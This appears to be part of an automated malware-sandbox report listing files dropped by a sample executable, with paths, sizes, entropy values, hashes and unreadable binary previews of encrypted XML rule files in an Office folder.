SHA-256:	216FC27CB9A882680A95E7665A41BF80C997579D6D765193B2AE451F233A3D2D
SHA-512:	77F15C693EC9AA6D1080B3CCE9B311CFDA426BF3A11182FB01677122F276E599E2C69E55C6D7A5A7A78B086D58932B033121946D5E5B8937C763E3104C478A4D
Malicious:	false
Preview:	<?xml..\H...Ff......b.<y0.7..F.}f[..WD.3m5....q.... ...l.]b..c..OS.7>..p........B......w. :K.)..x..](....i.QK..l...f'.0..O......1.!B$>..Y....J9M'...xpl.bk.5...'.N.........m...`.#....m.::....R....:.....c2&V.4^.H..XR.[.;/..f...&P...uDg.~.,.....].v..9....V'...OEI..H..'....y!?.m.[y...T.....{......ha....... ..B.<a^\|..7$....M..r..:.:j...}@>..(Bp. ....$.GT.8....}.s..UZ.35..0g.s.@..........y(.@./..]+.....b...@...qjh%..;.A`HA.7x.q.s....0.ya.{!N.-WN......A9.A........\?y.z..:....._U.q..4.[..~p...h...&.2:?AOi..]....H.~=.......0.0...y..Be.....o..5;.Sbo[]....!,.%..........,.....2.\..T.~../..X.z.s.@7..5.MT".}.o.b.nY..Q....S..*..g.`R0..6.n\..7M2.S..zO.l.=..~._.is.+........n..j...h....X.Sz..t..s...9'...b.t<....{24..^+.8..D.L.c......2.TX.O.......4\./4M!..[I..T....._.h.h./.Q.):.{f.8.8.l.....\|..j..Y_.`\..MP;Nd...8Z.....(ni..o._g.N.b......C... 8j;......0?....O.6...i......#>.q.../...36.2.....A........"..x.?..1^..xE..$.p....H.Q\|......pUG."....p..@.0.8....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11768v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2487
Entropy (8bit):	7.916431596637818
Encrypted:	false
SSDEEP:	48:liMAZwlqK9bN+Lu10zWNyLDFYyhKwctCCfhAIxp+f+98Yfzpid0d+pGqd0D:Uw9JNz4DFYycwctCzITyaz9m9dg
MD5:	A338F9B80C3D72C139837E1165B358B4
SHA1:	F8814ACAFE56F7078D56B38B3CD0DB299FA2840E
SHA-256:	D8302910B68D511FAD74099D51E230BB091348E7731D109DD355242DEA71C8BE
SHA-512:	D5A62533FCA6C7E7B4AC454FCFC8E8BA23D77283F90B8C6AE9703FA884E250502E66972A1100B54B3EFBFDFF9E0C5C89F96180D5E510AEFA6BD28830586407CF
Malicious:	false
Preview:	<?xml....r.`..Wr.Zz...)....>d8..f....O......=......5`..Sc..]/.....W.U.Y...}..u+0`IJ.uK...w.....&v.V.&.=..'../...#.#h{......VZh?N+.6e. .k.nyf...C.2 .1.........G4..5....q./....u."s..Z........Kz..Ox.A...vJ...H...:B.l...Q.....0a.....J5.6...g...D..l.ab..p.J...xz.....l.0....bk...M6..v......'..I7d../...\|P.....>...<.q.v..J#.Fk,.skV.T..4.Q...H.@9..=....O...4R..d....S.G+...-..8.o~.p.h...Ve...zgw+.4>.{#.r.L..s.8TM..'.....C...L"QD..R...5W3...l.x)..E._<_.4..K...M.'.z.%.(..M...w.I..S..E.Ut.%+:.D[...N&..;.[.E...+..n....~N.5)..m.S*..m........O....z.\;8.+...~$`.GL..%.s)..1....!..0Z.~Q#.BJj.+.J..../.s#.{.8(-A...h...@\.[.\|..T....M.....a........^...\|..o;...f.\.%..\|.....U6Kr0...-...d.y.J..8..;...A.H.....F.T.. .#V&d.h.ji{.......kS..._........94Bg......ZP/.....(..u.......Yc...2...k..>K-....VM.<.._...W..;.Oq.\8.C8..p...........\FI...q.}.k$G..s.....W...i.s...Z:u..`.TP<]q5.1G..rX.....l....T.7...$..N."....ysW...-W..]l....2.Ef.;....~00M.VnO...-s.D&..>n...;......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11769v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3132
Entropy (8bit):	7.93782908739053
Encrypted:	false
SSDEEP:	48:2xz5NnpME+QIf5YENKPScR9ekFZqyrcMZo4l6Sup9a9WeRXID:W5NnBHENKPjrdGyIk/up9a9W0U
MD5:	383AF44AA66D887CBDA93B3EA6675C87
SHA1:	43EDDBCA3C2F755B0B0F84BD76EA4D13C3336BBA
SHA-256:	C99070134D9182C2D47BAF11367A701A2F03B3D612A734618F6CF736DAEDEEF6
SHA-512:	2CE3984E2017EE05CB74CB8383BA5DE2D61BBFEB45C1A0D200D66A0A941A84AC1F5CF175C599F09599E85B3FB6E2504E8B2F9F23A234305AD881623B57DF7258
Malicious:	false
Preview:	<?xml...2...R.<q...9P.3.5qzQ.{^..G..L....y..t...........+....A......`....h/...).a.......s..3D.A...Y1.(N:0Es.i\...c...X.>zS42.../1....1.$.-..45.GI........&.l..T..X......A ...6...<.gQ^...@........J2..u.5G...Wf....w.V..k..../G.by.......C+.e{.......f.Q...._D....w....L...".......TgC...._n.?eL=....X:..l.G....+L.WhK..#...F..Q0...e.....?....Mj7.0...l'. .v&..{.`..w.h.>.l<#......rs.G.C...I5+.z....GY.O.`t;f..I.'/....)[L%....jlWj..\|....Rw..+...v.X.i..J.v.\|....h_V...D..hi.]i..<9d.<D..r.e..9l..>..9.n...I.Mgo..>......-?~n..j.0.v.9......~V...Lt.T.@..q.#...SdHn.....u....3sf.?.A.....y..A.w...}......-.z..JN.L...;.....h.5.K..4.D..i...1...t.?M1 #..P.L..9v../...U..x./... f.}..S..........d..>.4......q.S.^.mg...Zr<...'Me.E..s.....].....gV....i...%.%.qdu.&...C....,..<..k..........0...a.....0...H....}.....%}E.:(B...x...]...t.C.......m.\.?..tY.0.E)..h,.Cc...Xp....2.F..:SgIO.....Y..t.v..X..l$..^..7...W.0.xq....[..(ZSA..F.L]..x..R).O^...-G..1...\|.C6x.C.#.K.vD.K.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11770v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	4968
Entropy (8bit):	7.9639400858738885
Encrypted:	false
SSDEEP:	96:A1YjNcCDA+oygLSNOm+Q1AJnwtOwnGWeUDjxWYM8vhNBAZ3Xl31ntP:Aaj+CDAHygLwOm+QWJi07UcavjBAZHHN
MD5:	C095DF0DBB4A84CF66D2B86B161E36D5
SHA1:	4E77C2F44AC05488C07AED0BF6A6AE35D96D48E1
SHA-256:	BD96C0B389A27AF8D5061438EA444902893FAA563AD3645FB2B12287FC82E2E7
SHA-512:	42BE0C09929A2804146F53B742F0675B67233B15F525998B8464B6C35F8DA1DADCB22E35EA0D4F04E7702BB6C6461D27B5781F0B9AD48E523498BA502A426548
Malicious:	false
Preview:	<?xml.I.W$.P.M..G..v...`.~@.Z.....K.(.']m..7...Y6....Q.e..!....W.U....r7J.SJ.3P...R^<....E....7wCp.\!.......3Q\h.@..a....r........&.#%.7..H[0...C..T}..K.._2.G.%..S&{....H.PK............I.%.".>....FX.Y:.)..O.^....%.d.%..,.A.[.......&z..d...cE..>..j....."..R..<)n.{v 7..#a![h.~..X.k...(U.dN..Y7..:M:V..-.G..S....!qWd.P.]4...3)`.@3DA_I.GF........_.zV..p!.oA:..?.../.Hd.......:n.".'.S...\.J\.."\|..~S&.k.3ygP.#-a.I.w.]"F.iC.FW.6..E.$.TV7.c]..=.9".<...l.:.`..O.....wRK...;PC..U...Z...QD....+.?P...`...Nt...(...9....<..,Sy.\|D.A3..HQF..%l....;d%.U/l $.Z..6>.(...$...V......!FH.\|?7.i.../...S..d]Em...\|19y.9G.-....hx...)S........L..7.\...A....-W........t..n..?....hguEC...A....Zl*z~..>.G.sM.\|..Y.<...>41..1..)F.A..;w@vg.{'..][..qd...tW....E......5...2<\&....o _t...X.L,,.....{%..).:.....c.\|b...F.wIT!.......f..$.w....b..L.+.<S....S._.5......6J......BZ...,..]]O.....+..i;E]n\|.."..b...uf$.....wS..[..9.n.>..0..v.......2%...]f..l&.F.e..4...Q...a....d5.\|.XF..D.z.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11771v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	7596
Entropy (8bit):	7.971201806466923
Encrypted:	false
SSDEEP:	192:BAPA9y6Lzoa5Lmoo1mar0kNuAU1QuOYaaayIk9D1U:Bhy6Lz7qXmSS1QuO9GFu
MD5:	4C5604C56407658BC5D60E2B87B150BB
SHA1:	A267C145FFE9DF65379FA8CDC9D04D56CCEBE5AF
SHA-256:	25E96C957B5EA36DD99A5304222106131C61391AF7353E1B8CF7D8E87759B9D2
SHA-512:	C1E39F8DAF912840F7BD248CF194C5D14BF63473E2FFBB3E9BF6FC60964F0482E7E570EED27EDBD37D4D0CCC1D79CC415999FC20379BF71428DCF3413B717ACA
Malicious:	false
Preview:	<?xml.hG.(xT$X..............i.55..~..\|...n.@I...........$.ThG.K.~..J..}...p(.L.......h.@.e(.C.R...[.....kq.n..?uR..,.M.](.....y.F;.!.'..!...!z...aS.,.'&B.b.s:.A.7-....E..f/,J.&..e.H......ik.....s$..k.SyW..r..;.4).."..I.qL..R...b.u..u.SZ.\.s..O.:...w.(..x]..d.X.e..7.`...5.....(h.+.l.Wb...."..f.%L.....QS%........x......oy.:...1Y..+cZ/........vr.....[.6.{v.!..8..........,..1.....T..J.?}..s.....I.4.$.....lX4.R...IW.f.n...&R.+7..GA/....^.7M..a..JE+..W_l....4..g...T...^n..N..k{.^..zWQ....p.j..Y.uu2u....2'U...Na..6.$$.h9@U\|..P.....C....a..X.\..8..A.TP.[.5..9.o.@NYO..).L......`.Z._D'4.0.'....k..3~..5.^...K_...TN.B..1-...\|6.;h.$.{.v......Pf.U.z......x. ._T..0\..}... Z]....S...Z$..v.N.....mp.bw,-A. ...zn.......O.ge.....zx.z.2......N...J...%..~.?.......A....}..T.U..``e.....hv}.C.%..$.;..D.p4..SBEL......B..y]77.......4.d...;.L..D..e..S.TG......L.,...*$....f:..7..6.Y....)..Aug.V...x.'...pe.@.l...x.t...L......Q[..]...B...d....J.....@.c..%.....w.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11792v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	7356
Entropy (8bit):	7.976107059935733
Encrypted:	false
SSDEEP:	96:1NNGqPKvHL+2vNTRAAOZ4xXbVCHhUt/DaYYjREGC2R5rQEr+5yuyjrn/CIhvXC/u:1NNOpFTissHhU1B+EGC2XLuyjbq/u
MD5:	015B33C4CBCDF574F83C0114E6E21F4D
SHA1:	3BE61E09F7EDD8C5F56934C6BBCD0FF1A723E3A3
SHA-256:	2F6C5BC1BC1F4F2813C20881A9A149C75B3F3610B8F51C75088B82E0E4B33C69
SHA-512:	56DB5504258905B710A5CC0EB09D78F06660A18D75BBE780BBE915825F088ADA7B1A2F18873017CF1725F7496101DD78423E6E29C2CF7C6C2012B144B6939C1B
Malicious:	false
Preview:	<?xml~A.7...N.J.<..k....\...o.0.....`Z.?....$y.T.....L.....@ng,q.~X.;....\..`..7<.[@@b.... .-.".c...!..R.".-7{..,....]_..D..R.}.[.4..Z...%2.D`y.V.,..vBtV..u..D.E...C:.W...........?.8.ax".E.3...R.p...E!..#...`#.5.......t.<4..^.LF..1jL.j.+.wlB.\X..(.&T<8%...h.Tq7.....O.W..>.P/..W.5eI%..$%...@....T....0...&..6.(.._[..=I.6T.w....w...WT..BN.2Vh.W.[....V.3..m<.W..U...]c..9.H%.EN...hW.dpD.....h...M........`2G......@...5..0...~...U)..G.w.]_.\...T..b..,.....'.I.5{I........?......h\..e.j0J...G._.aUA.j[..0x.-..!$.`k#.(..G..K.?7f.v.'........<dR.<d......=..GscK.O.^Os(...!.......%(H...:. k...r.Z.s!..bE...Z...0....p~.....>.2.4...G..p1~9...C.u.@..e..jM.....#.R..zO].Q?s...,....a>.....}.Vr..o.'...{...XH.Y.J.....9...w.KK.%.f7.....p.'.."..%f..Yf....?.....T..Xo...tL.....HU.wH>b......cl(5....{qL..!.i_.....$..t..Q.R..C%`...9Y..H.xf:..;..7.(X.......j..e........n..;3....s].\|..q./..j."...(\..4..>.....4..}y...PO]N.;...w......a.....& .+.....4V8......B.l].&.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11793v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1551
Entropy (8bit):	7.867976133186267
Encrypted:	false
SSDEEP:	48:Vy/BuIJU/LHnZulflY4iH26fndD+piGLA5wQD:A/Bu/LHAMU6fdapzA5n
MD5:	A93B238AE928D538AE9EB64CB7CF62B5
SHA1:	77815FF61A8C58252B913436F4852CEA140A5D2D
SHA-256:	0683ADF5C18728EC9BF5A7FDB3846B8F3CDC7BE7B907C76138D8F28CCFEFC2B5
SHA-512:	A11022C8DAF5776239BC615F37274E8804B411393DB18DE5F93F67408848CA38B01ADBBC357CABD740F4909D860C5846418A99D89BAF1F7113E37FA7069AE101
Malicious:	false
Preview:	<?xml.-&.. ..<...O....3.......t.{\|x..p..![..mw3....dm...x..S...3....4..>......F.7........+R'..v..i.9JD$\..B.j..9qN..;c......K.".....V......RXZ.N=e.;".S....L...{..5.9z.....zE...S.q...&...m..1..."vq.a..2..\|WE...j......D0..Yz:_.f[...e......V;......F..(Fp+5..=.>.7...?M.R2.eTSo....WAG.h.&.+..<@...@.Z...{..u..].B...@LZ....4lb.......Kh.x.B.~...b..A..7b....W......6.y.ca)r....rr?px.>.-...G....64..HE.,..YgW..j...'1..F..s.}...~..=bkU.IN;.1..W_.z..-.N).......8...\|..ty....j1.6.H..k....q....Ux...c...t...@d.>i.1..>..V.Y...F?'.Q..X.....7.(......7.q.X}..k-....d:..J#\|..D0.>.q...w....5...<...j..c...5P .6.9.NYW....:.+A.'...o<....C.G.o...............M.m..5...,.....HC..o..OA.........=..)`=...........BF.....$#!..p\|..,"9.h.Gp..6.D..........]...X..wV.j..F...MNL.-..X.....H5M....3.(.fC.].q(y..=[.+.?..U2.#P.5;..f]..c..Z.?..D..?&.I.FU.J`f-..".a.(...n.......V..q.....n!.wc.f.25..XG.....}........\|_.#B.2.@`p.."?.... I......T.#...Z&.Jw.G.#./ce..fr..sD.......c...T..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11794v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.875059729748463
Encrypted:	false
SSDEEP:	24:8T+haHlYsgv810dy8s39maGgA4kSVxinDmzCAiwn7NDe6cSRs7NDD5C9zOqzIbD:EW+9t5pHiMhe6cfdI/mD
MD5:	CBD0614A9398AA4E957A62AF03C9FE5E
SHA1:	1455A657F9FF1D10723D31501F66B74DA291812F
SHA-256:	5788E6624D12B931E0FFBE868BAB7F7E0B5E8EAAB7BAE804258FF63B27A2436F
SHA-512:	8063930FD99CFF1D77E940091CA2638A51E823278A36E695CF4810B94A9949A9C80B58DD758BF1BA37AEB77F9912C4545E34647E85E8ADC12B91BC02B71FD76A
Malicious:	false
Preview:	<?xml..%87.E.t.1-'....7.8..-f(....q...C..EG.e....\.x.N.2.^....X.=.iXB.....;G...c.m....I....b..\b...HF .,v.)N?.M.71MF...82^...=..}p....,..F..e..3...D.....:.3.a...u.\|..B.q.....Z.......b.....2.gY..n.t....7.....2Z\|jH.Zp...S?.3.....Z.... j.e.k..E..SF..T....$ E.....\|....p..I.....6....fG...r<..E.......E.!p1d....T...L..).u7...(U...t1W.../..M#R1i....Z..'_..%......[fq..vY;....~..W.9I..4.uS.T..e#5.4..[.-...#.g..Q..81...)..s...x..p...0....#.\.. .Y...s..B.9e.\|cxwl.]Ln...... \..h...t..q"3oi.....k..#C.......I/.....<..g...I.t....7..P..p.O.X..2.8.>.G,.-..+....W...q..)...-u1K..^.{...Vj..6.)7....OilL...1......coA[::...tsC..SQ..UO....2...0!J..;.9..rfC.:Hq5....%;...$....Q.a.J.:$.`.:\?&.#..O..t.R...h.snAK2...q.4)7.zB........"...d.....\|5._,......W.. .....j..v.....;..J.....z.'J...,........J{.6...3...7:!O9X...."....;..:0.Zx..0....)..Z..t.\..bk#zJq.......V.X.9.Z#.aa&9..Hm.^.F....;~...R..]s.hKP....L!.6.<Ue+..<lC?.....{.m....>.4F3b....R..^x...zTs.....c..B.U(.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11834v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.873506296044721
Encrypted:	false
SSDEEP:	48:MRpxKgrc4zubbVjYtBPBwYHsXrJGWWyYj1PSKD:MhKg3kbVGOgslGGYxaC
MD5:	66CC583C0E689739774A8D5CE68E8DAE
SHA1:	F1D643B4B2A7FE3F9472047713FED5A4E636EEF0
SHA-256:	F190A09EE9F6568AFF87F4AD7C10DD2205F64D1A3284EAC9753510844A61A614
SHA-512:	9CB885CA92D87D4BD4347E27303D6FDFEB0283B9F9CD1D8BAFA4C4022FFF66239E70007FB3235DFDCE7BCDF51235EE606C435D56361CE5BA8377505C4572A6FC
Malicious:	false
Preview:	<?xml(ju9V....n....HZ.....f..asP.:..&.a...@.3....^.0m=.IIbn.n......E2.d...Qg..d.....aQ....-.{....}....I..?.].."i..p..W.v..dS..,.@.6..(....eB{!.c...v.}..l.x.^.2.}.iU...J....'..[!.....`d...d.K...jC.xx....b-..wg..e2?{..g...F.~.9.i!.B..9..F[....0r.`.g[si....>.Cv@..H...8.W.....Xx.I...N>sj....j...<e......y.{,....g/..d.^.6v.&..NJ... ..Yc....v..fn..%..I.a..&......$...b.V.m..oC?H.....r...x.).<.Ik...KH.].....NUw..E.;..ML.k..y$..../.h.>1h2.$....i..Z.6.E.g?....wM]..'....s.....`#.a.PY.?...?.4.7.<..lU>.c...m=.......H.Cyi.F..E.([.....c7nk..-......4..........~.....r...[.,.v.;&.^....rU..Y..K.NR.....z..E....D.}L..p.w..pKGD7...D\|...Q5f.k..Q....[^.F:A...6.E.j9.n...3...C..0...@.Xe...i8.w.(..H..B.=.m..9o.Y...2....89!.."nw.l...u...{a/x3.H7...v9jO9.t..K.u?....7W..(..R...DS(..6.h]X....Vu.I2.-.Ja`.n..a..d....x.1.n.+n.2..L...C.S..=[3.......h.@7a..\......-..,.:...sj...j....8.9.2:&....&..bLU.-..8T..07rot#v..0.s..n.....Gc....n.Z.3..]..5.......C..)...^...5.<.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11882v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1448
Entropy (8bit):	7.8539398372296345
Encrypted:	false
SSDEEP:	24:DRu5NsSZ57RnOEJ9wSrdf3OHnUBxLwlSTsH59UETX5NA24W4WQX2b0KbD:NoNs0Zj5Rf+HQwlSC56EDpV4RX2bLD
MD5:	4B12F315A26520845C2EB1C4480BB3D8
SHA1:	4BFE02ED4830B801BCA1A406DEA57797CA01CE70
SHA-256:	F38DB58B8AEB926F452FE71795FC565CD6F737478C10505A297D5E28B27AD2BF
SHA-512:	DB2169483C6B4C9467D3098D002632404577F1BAB81731B81FC253DFE62E7027C92C0027C8015B79EDBCDB0F0BDD02FEA3618B7796EBD3B395C784B9F39D6C66
Malicious:	false
Preview:	<?xml...}.i.J[-k<.FW.D.#<>.[E...E.}.$..(.]Kf.m3....n<..l..b.5..Yf........V.G..a.P...G..;=.....>....q..O.>..[.+.......q..l.....>h...m.\|.p.FfU..l<c.?...&....Xd..g.J.2\|.......Fv%Gy......yU.gj.n.S3....8..:o...h.. P...H\|{.H...5....rxi;'.........pdjp..:WKY...v..^.J.p.'%O.I......g..1...,X......<(`.<RY.A....3.......U.....>>.<pr..................i.vb....g7u.W'8...B<s...O..z..c8.t.3(..:...J..\|}%N+...........t...X..........a..D@....9.'\|...3V.....h.3......H.c.\|F...R.P,p.+L.B(.n....KQj.Q..g.%.)..E..T<:,.......[.O...B...a.K......'3 mhCn.x..#]3.BK...x.6)......9...JTJA.>.0.t...{.#@:..........K..6_.u...J...(...)1.....k...U..V..}..Q.<.9......G..T...Q..q...G.......k.....=.>....a&)v.2..x....._...F..I1..yJ......O.).~.}...N......5.....+O.l..q/.Wr.W.....~D..P.f..P..'.{....Z{%..S.\|uC#...tg.vt#Z&.\A.. b....a....._..f.@..ngoJ.f$.y>....f.R...'8Lu.]p.3..OC...pVD.Nh...F.y.I.A{...6lF.Q.9_k.\|P.M(...X..b.?e.....8.!.tG.M.m.8...6../.).Q.>=z>.*y..c...{;..`J...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11890v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	7.871139874416776
Encrypted:	false
SSDEEP:	24:wPE9cXUpDjqRLtzosfN3Hbf6b2novcJA9nhUWQI33ody6oM8jBMbD:w2cU8RLtzl3H76CnovFnBtnXMMBGD
MD5:	0DFF77A33F5ED9BC7136C2E025D2D7BD
SHA1:	0EF90BC5F84D2685F285D8188F234920890A4FB3
SHA-256:	66AB4E6B498F9E3EB20861DBD2344E2D4E34B8C7E2B7850B6EE30C38638EB696
SHA-512:	AA91A3D6FF00FD7FDB567E4B69FC496AE1EC1F39DF365F24307FEC7EFFB8137700DC14F120A1B1BF1D8C69954EFA44145F31DAEE90C499DC0C05388901A248AA
Malicious:	false
Preview:	<?xml._..q..Uq@..5q.8..X<u.1.k..wC...]..._.a...h..&.t..qw{>..4...T..)..]2..@r#.Jw.A.V...hQ^..d%....b......R.....gD....?......e.....Z..n".}e{.....p\....x..m..@.21...Z'.....-.z..Ku..V.w+\|.l.C}...5.....^k2.?<...>.zP7C.........q.....g....I..; .Ei.............!k..U....w#..Ht.0..B.T.Y...n..o.....kIo."..5.'.V.s.Q.i..C.9<..f.V..iz..n.....p..m.>&......o...#SG..r..w...=..y.."cj,..4..GB...\1H./..~.4.........G...A../...............1g..(..a...l..q)_D.F........E...........([IZ.o..q....3...b..s.B.6..?A.e.(`.WCtVq.J^...../......]7..%z...Oa.E.....\|....e.~...p..GI2B...3" .l.7q.R.y..3...]mWL...~..)G.'.^K..K..sM.rj.Q.1% y...G...k..\..Ph...2...n.K98...w}mb.I....4.Xd..@.....Y..W..t..U.0...nX~7.Y.a~.,....7([.._."z...6+...*............L1s.=..!nX..seI.}%.xJ6@u`=~..1w..c.l&d....l.q...x.....z..<...._.3.....Q&.....R._6_.A6!d.+...\..UM..j8.....=....Tk..-Km..d.\|...Q..>-..G../A.%..7._u+...!.z...B.K6B...A.qZO.....fjG0....Gdd...GhB..(....@&.oI.f....%w..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11930v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	7.865489271475619
Encrypted:	false
SSDEEP:	24:eErp5igZllTXRDrqbj2bv8cMsFdUIWSORmBxydCW6dT7hZx2VzZFCBtAcBxAUOzB:T5t2bOk/sDzhbLydCWsxZ4CBNxAUO9D
MD5:	DEF52E035C0362FA99CD06BA5A3EAE9F
SHA1:	1281E7CEE7A4A3605BB4D271FC1511434860708F
SHA-256:	D80B532DB8C2BF580D6ABD34A47B383F07D775122A8BECC4223B7FCC78E1325C
SHA-512:	16A2FB328518DCD5D96DE6F600947FCAEE1BD01A2D957D81AF0E81335420140A968822F860FCCC3DBB06B49BA1D4C23603C58BD5C5F1CB36F329A06C32619172
Malicious:	false
Preview:	<?xml....f....A.H.N.N...f...8.......\|>."...v....#.mB..p,..IU.G._.vo...tS.8......$..T.{.e....~amw..%F.h............FOD..Y.U.5.....#.O..]...F<..7s.uD....Hs.6.....!....^.i.0U..........[]..I.......)n.aw[J[6)..H..vav...].>.3..8.'.\..97p.[....kXX..j.[..;.w.o.:Js).;.l..<G8R....U$.n.K..t......d...o.{....+.;..c...-nv.El...q...Y..\k.~..w...I...8u&...^=[.T.\|T..Hbrc...q..X.....E.y..5.......\|.V.w4,.:..%.G....&P..D~.W6..@hY..t....b1.?...^"...*...m.,..` .h........k..D?o.1M.I..W.........=`....&.....-x[..w..2.....C.....g.,..:.p.m..2.......0../-..(UH(.w+.j.`:%.3v....T...v.c.Ou$@7?.[R....v}..+.T.&5.../U....q...TM.q.Uj..z....W9..f...0..q.......U..%.............."dPB..p.....[.....M.6K..[.....I=....$Y4o..u./.<t.IZ..h..wk6}..\|..i../;&.Y...]....M.ZE.&../X.R..<.X.Ot...38..~Q..,.Oi.x.f.-...L%.....:.`...J..,-.i.f2.#..1......2...;.&i.^...S]..t....}.I...A~.9V..y...08O.\Z...I<....L.J....R`!.=..S..<..q.>...........r..A...! ..T.Po.@.E0i....2t..f....`9.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11931v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	903
Entropy (8bit):	7.76381383782195
Encrypted:	false
SSDEEP:	24:vdElJOhSjznvrXCgI/NGjdkH+7Fd62MzWlbD:2bOhfgI/NBEd6dyD
MD5:	A466E755988BCBEEE90FF3CCF3A3B0B0
SHA1:	C7016B7FE262E2230A4516382CC652A3E3AB0A6F
SHA-256:	E08192CF5EDC24F58E150A931837F1A1CCB30AF77F0D9205FD8C0C0AF881F926
SHA-512:	2B0BD48E3F224F0FD71728B35A13C9C55FC5EB4DAC6A81DA4576241C2D1C052E4BAF8F83DD9DDBA69B4845CAC5E56781F7DB2BDD11F2DD69030807C797DC40E4
Malicious:	false
Preview:	<?xml%/.%5(.2....\|..p.[.2.x...R.o.G.p.wB.r..L.r.E......Z.7....\|...R..6vC.._.....=V...@7... .q.1..[.h;.6#.v.V.~\|e-...:...P..6.m...h.Z...w..h...Rj.....=.V.$=.x.9lA.......6..q^.~v.x..@},..x.......,.!`Pe..U..$'...3o~...;.."p.8c..6...T.(=...txIS .)a.Fh..pCxd.m.Oe..Q.nB..EM..x........d.....W.TG]nMs>.4..j....(.R...#..J...T.Ld#...!...+u.(.m'...2.......="-.#.s]..T....t....v..........i....[u..0.../....\.=E..9n....Qv#..+.....LS.v.s.t"..m....zp.&...{)0.B.V...@...b~&r&.=...N....8.x/ ......(m.....z...g..v..)Ab..#y.........K.]k.sz..eQ...].rV..2zA.......:....)..X..:.GC....-.....!v.R........L...M!.}.[.0[....O.X.;R![n.`...$...d>i..+...".(.p.=t.Up.....<..9z>B..a~.o.h..."...`.`..(.........Y.....hxl.b#...t....4LE.i.U.\|....~..(.Z...R.*i...$'.7..sT......?...7.Ao].$...U^n.&$..I...(.......r.x.@L......LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11932v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3566
Entropy (8bit):	7.947857853504259
Encrypted:	false
SSDEEP:	96:EzU2TeymJX8WqGRMeX41IHLkmbNq0xma3gwVAxnZj/3UJ9GU61JF7IaQhzbhPrl:yU4eyCyGRM91oo6NZxQcAddUOU0JGaQh
MD5:	319C9B2EF2CF33B30112D6D3CA2C2D22
SHA1:	A0968076FCA2C274120789577EE7C32FA5571286
SHA-256:	AF23D7399DDABDC894C290EECBCEB6EEE796C078FCE606B53900EBA923116BA5
SHA-512:	DFA8296F5292A70C51F24D948D91FF6E8C5AF77B6CC4D1B824ECE7DC93D0AEE6631E5D26A87E764C658D7FF21F731B41CAE508D5D549AAFBF9EB3199C3C0062F
Malicious:	false
Preview:	<?xml.............'S<...T.}K.]..!..l.xiq...9..c..'\|....)3. ..[T....e.{.H..R.o.m....x.Q. .h.q....8.E.KK...[...1.3..9/&..aFx..9.a.....vu....pn.k......O.....M.b5!.D..U[......,.Y.eq..lg..,..2.$2.....<."f....A$.M.8....sZ[.4...Pj.1U..,.,..jl....,..4j=..i.y-].{.:&..).$.....7i.v.-.7.i4...b..(l.....v..p{SU...x..d........I`...c5....p.$..~2..W.j.n..N.A$.9.p..d.e..V#V...f.../...X..).a.+..e.....\|....AT....b.E....F..r.Z.d.6}..l.55..6[:U....!../.k.3.i{....y.R.-....q<.?:...].JJ...5.?...s...jr....cg..!;.....*....I........b!:W_...^X.J..X@.....5..>.'.o.2N....0B~L...N..jP.........I5.P...F.n.B..}f...3.V...r.c"~\|k..7..l..IS....%.....C...=...R.....>J..b..'$_5^.6.Mt...2..81a'..".&,d.~."k$...n..#.c&%."..YW..G.....wh)..q...:...#\....&"..n.L.mi.<.Cy........%7..E..T..].R...gd....-...i0t.., '..h'pR.p.0.........M.o!j.?.S..X9..%..(./...fa.i....d..7q...i._..$)..W...\..T?....X4>..u.Vw.1i^N.&.o..2.M=./Z...5.Zg.N..r..!....7D..k....t...r.=.....G U...#.$..;..Q.Mx._._@...zE9.h.~

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11933v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3677
Entropy (8bit):	7.946998954292793
